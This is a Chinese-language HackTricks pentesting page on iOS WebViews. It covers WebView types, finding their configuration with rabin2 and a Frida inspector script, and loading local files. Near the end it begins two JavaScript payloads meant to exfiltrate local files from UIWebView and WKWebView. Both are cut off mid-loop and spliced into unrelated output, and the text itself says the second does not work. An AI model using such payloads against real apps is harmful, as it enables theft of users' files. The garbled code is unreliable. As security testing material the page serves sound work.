# iOS WebViews
从零到英雄学习AWS黑客攻击 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
## WebViews类型
WebViews是应用内浏览器组件,用于显示交互式**网络** **内容**。它们可以用来直接将网络内容嵌入到应用的用户界面中。iOS WebViews **默认支持** **JavaScript** 执行,因此脚本注入和跨站脚本攻击可能会影响它们。
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** 从iOS 12开始UIWebView已被弃用,不应再使用。**JavaScript无法被禁用**。
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): 这是扩展应用功能、控制显示内容的合适选择。
* **JavaScript** 默认启用,但是通过 `WKWebView` 的 **`javaScriptEnabled`** 属性,它**可以被完全禁用**,防止所有脚本注入漏洞。
* **`JavaScriptCanOpenWindowsAutomatically`** 可用于**防止** JavaScript **打开新窗口**,例如弹出窗口。
* **`hasOnlySecureContent`** 属性可用于验证WebView加载的资源是否通过加密连接检索。
* `WKWebView` 实现了进程外渲染,因此**内存损坏漏洞不会影响**主应用进程。
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** 应当用于提供**通用的网络浏览体验**。这些WebViews可以很容易地被识别,因为它们有一个特征性的布局,包括以下元素:
* 一个只读的地址栏,带有安全指示器。
* 一个动作("**分享**")**按钮**。
* 一个**完成按钮**,后退和前进导航按钮,以及一个"打开Safari"按钮以直接在Safari中打开页面。
* 在 `SFSafariViewController` 中**无法禁用JavaScript**,这是推荐使用 `WKWebView` 的原因之一,当目标是扩展应用的用户界面时。
* `SFSafariViewController` 也**共享cookies**和其他网站数据与**Safari**。
* 用户与 `SFSafariViewController` 的活动和互动**对应用不可见**,应用无法访问自动填充数据、浏览历史或网站数据。
* 根据App Store审查指南,`SFSafariViewController`**不得被其他视图或层隐藏或遮挡**。
## 发现WebViews配置
### 静态分析
**UIWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
489 0x0002fee9 0x10002fee9 9 10 (5.__TEXT.__cstring) ascii UIWebView
896 0x0003c813 0x0003c813 24 25 () ascii @_OBJC_CLASS_$_UIWebView
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
```
**WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
625 0x00031670 0x100031670 17 18 (5.__TEXT.__cstring) ascii unwindToWKWebView
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
```
```markdown
或者,您也可以搜索这些 WebView 类的已知方法。例如,搜索用于初始化 WKWebView 的方法([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init)):
```
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x5d97a 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
```
#### 测试JavaScript配置
对于`WKWebView`,作为最佳实践,除非明确需要,否则应禁用JavaScript。要验证JavaScript是否已正确禁用,请搜索项目中的`WKPreferences`用法,并确保[`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled)属性设置为`false`:
```
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
```
如果您只有编译后的二进制文件,您可以在其中搜索这个:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
392 0x0002f2d9 0x10002f2d9 21 22 (4.__TEXT.__objc_methname) ascii setJavaScriptEnabled
```
#### 测试 OnlySecureContent
与 `UIWebView` 相比,使用 `WKWebView` 时可以检测到[混合内容](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en)(从 HTTPS 页面加载的 HTTP 内容)。通过使用方法 [`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent),可以验证页面上的所有资源是否都通过安全加密连接加载。\
在编译后的二进制文件中:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
您还可以在源代码或字符串中搜索字符串 "http://"。但是,这并不一定意味着存在混合内容问题。在 [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content) 中了解更多关于混合内容的信息。
### 动态分析
可以通过 `ObjC.choose()` 检查堆,以找到不同类型的 WebViews 的实例,并且还可以搜索属性 `javaScriptEnabled` 和 `hasonlysecurecontent`:
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
```
加载它:
```
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
onMatch: >
hasOnlySecureContent: false
```
## WebView 协议处理
在 iOS 上的 WebView 中,有几个默认的方案可用,例如:
* http(s)://
* file://
* tel://
WebViews 可以从端点加载远程内容,但它们也可以从应用数据目录加载本地内容。如果加载了本地内容,用户不应该能够影响用于加载文件的文件名或路径,用户也不应该能够编辑已加载的文件。
### WebView 内容加载
* **UIWebView**:它可以使用已弃用的方法 [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617979-loadhtmlstring?language=objc) 或 [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/uikit/uiwebview/1617941-loaddata?language=objc) 来加载内容。
* **WKWebView**:它可以使用方法 [`loadHTMLString:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415004-loadhtmlstring?language=objc) 或 [`loadData:MIMEType:textEncodingName:baseURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1415011-loaddata?language=objc) 来加载本地 HTML 文件,以及 `loadRequest:` 来加载网页内容。通常,本地文件与包括 [`pathForResource:ofType:`](https://developer.apple.com/documentation/foundation/nsbundle/1410989-pathforresource)、[`URLForResource:withExtension:`](https://developer.apple.com/documentation/foundation/nsbundle/1411540-urlforresource?language=objc) 或 [`init(contentsOf:encoding:)`](https://developer.apple.com/documentation/swift/string/3126736-init) 等方法结合使用。此外,您还应该验证应用是否使用了方法 [`loadFileURL:allowingReadAccessToURL:`](https://developer.apple.com/documentation/webkit/wkwebview/1414973-loadfileurl?language=objc)。其第一个参数是 `URL`,包含要在 WebView 中加载的 URL,其第二个参数 `allowingReadAccessToURL` 可能包含单个文件或目录。如果包含单个文件,该文件将可供 WebView 使用。然而,如果它包含一个目录,**该目录上的所有文件都将可供 WebView 使用**。因此,值得检查这一点,如果是目录,验证其中是否没有敏感数据。
如果您有源代码,您可以搜索这些方法。拥有**编译后的** **二进制文件**,您也可以搜索这些方法:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
### 文件访问
* **UIWebView:**
* `file://` 方案始终启用。
* 从 `file://` URLs 的文件访问始终被启用。
* 从 `file://` URLs 的通用访问始终被启用。
* 如果你从设置了 `baseURL` 为 `nil` 的 `UIWebView` 中检索有效源,你会发现它**不是设置为 "null"**,相反,你会得到类似以下的内容:`applewebdata://5361016c-f4a0-4305-816b-65411fc1d780`。这个源 "applewebdata://" 类似于 "file://" 源,因为它**不实施同源策略**,允许访问本地文件和任何网络资源。
{% tabs %}
{% tab title="exfiltrate_file" %}
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i>
URL: file:///var/mobile/Containers/Data/Application/A654D169-1DB7-429C-9DB9-A871389A8BAA/
Library/WKWebView/scenario1.html
javaScriptEnabled: true
allowFileAccessFromFileURLs: 0
hasOnlySecureContent: false
allowUniversalAccessFromFileURLs: 0
```
#### 泄露任意文件
```javascript
//For some reason this payload doesn't work!!
//Let me know if you know how to exfiltrate local files from a WKWebView
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i